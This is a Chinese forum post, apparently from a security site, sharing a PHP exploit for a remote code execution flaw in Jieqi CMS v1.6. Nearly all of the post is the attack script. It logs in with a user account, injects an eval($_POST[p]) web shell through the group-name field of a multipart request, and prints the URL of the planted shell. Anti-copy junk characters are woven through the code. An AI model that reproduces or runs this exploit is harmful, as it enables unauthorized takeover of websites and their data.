找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2714|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。1 I" t7 g( }& Y* E6 z: v
: \% Q: E0 \: ?
) Q/ I9 M0 c7 S5 b0 R
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
" P. r. x, M: p' }/ a0 ^$ w 需要有一个能创建圈子的用户。
6 N& [/ L3 k4 U
3 x1 D" q4 H8 b/ v5 X) Q2 R<?php  h$ F, K- Z7 [) N! Z- v5 A  a. t
6 o8 A$ p$ Q- R' L8 y0 N
print_r('$ R( o2 w6 ?1 T
+---------------------------------------------------------------------------+
, S5 \0 j4 O' \$ d/ ?7 H5 BJieqi CMS V1.6 PHP Code Injection Exploit* T* `: }3 o# C
by flyh4t) c" P* V7 X0 Z7 [6 A3 P
mail: phpsec at hotmail dot com
& ]% a3 |3 I+ e. D2 P, xteam: http://www.wolvez.org9 b* F, x/ D4 ?5 \# [3 W. q" s
+---------------------------------------------------------------------------+
' u' }- s$ R, \) i2 K' k' f'); /**4 W2 _# r1 o5 t
* works regardless of php.ini settings
' m4 X6 I5 B2 t# M7 |! Q& O9 p*/ if ($argc < 5) { print_r('; y1 q6 f. u4 l( E: u
+---------------------------------------------------------------------------+
& w/ H0 G% G) W' n" O0 V9 h4 R( x8 @Usage: php '.$argv[0].' host path username
# e6 B6 o  O2 q/ _host:      target server (ip/hostname)% \( R' `8 x# x$ N' i2 E  k8 `) [: m" Q
path:      path to jieqicms
0 h; E3 U( L$ W( e+ Huasename:  a username who can create group3 e5 o4 p) h6 h( m* R
Example:  V4 n4 N) i2 n! B( G
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password1 s% d; [- j3 e5 u; [; c
+---------------------------------------------------------------------------+2 [, [& Z: V  R8 O) v# X
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
$ W3 \: [' T0 OContent-Disposition: form-data; name="gname"- |; }# s, ^5 s2 w- a

/ h7 @4 J. m2 ?/ z: z'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
1 I8 F! I- v7 y9 L# m: `4 [-----------------------------23281168279961
, R% z: g# R1 Q* ?0 |Content-Disposition: form-data; name="gcatid"
3 R. |0 A' l, W5 f9 j- h
" Y7 V( ~9 m! Y# X( K2 P& D8 [5 N' F1! h* U  g- m: M
-----------------------------23281168279961
4 h' `1 l. \, P2 r* e: hContent-Disposition: form-data; name="gaudit". i" M" _% a+ C4 ?! ]% D9 a) Y
; T+ ?' L; H6 a2 W3 o4 y  x1 e
19 K6 @9 w. d; t# ~
-----------------------------23281168279961
6 b, V% L+ m" u5 X9 k$ j. wContent-Disposition: form-data; name="gbrief") W0 o4 Z5 I2 ?7 Z: y

' X" @: e+ |; `! r8 @1
$ y8 S6 U# T0 n' ?-----------------------------23281168279961--
& Q; R2 I& W( }% n'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
. v0 O: D9 H* _- n' g 9 }9 {% x! A$ [1 J( ~2 z
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表